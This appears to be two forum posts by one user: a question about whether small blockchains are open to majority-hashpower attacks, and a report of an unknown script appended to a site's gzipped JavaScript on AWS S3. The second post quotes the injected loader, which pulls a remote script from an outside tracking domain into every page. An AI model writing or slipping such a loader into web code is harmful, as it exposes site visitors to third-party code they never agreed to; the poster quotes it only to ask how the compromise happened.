benp84

I finally read the Bitcoin white paper and there's one thing I don't get. The security relies on the majority of miners agreeing on the state of the global ledger, where "the majority" is measured in computing power.

It seems reasonable to assume that the computing power of a malicious miner doesn't stand a chance against the enormous hashing power currently devoted to Bitcoin, but what about smaller blockchains? Couldn't the biggest Bitcoin miner just switch all their resources to Litecoin for a few minutes and cause complete havoc? I imagine the smallest blockchains could be hacked/ruined just by someone with a fairly high AWS Lambda rate limit.

I keep hearing about new projects to use blockchains for every little thing, and I just can't imagine how any blockchain other than the big one can be secure.

I've just found this mysterious tracking code appended to the main JS file of my website:

;(function(d,s,u,t,h){d.q97W||(t=d.createElement(s),h=d.getElementsByTagName(s)[0],t.async=1,t.src=u,h.parentNode.insertBefore(t,h),d.q97W=1)})(document,'script','//abtrcking.com/a610b2befbce9062/analytics.js?4cd018b7ad0ce698d02494542e8f6e70');

Unfortunately the text was appended to a gzipped JavaScript file, which made it unreadable by browsers and effectively shut down my site.

The site is hosted on AWS and the JS file was pushed to S3 during deployment. I checked deployment logs and it definitely wasn't in the file during deployment. Does this mean someone has hacked my AWS account or has my access keys?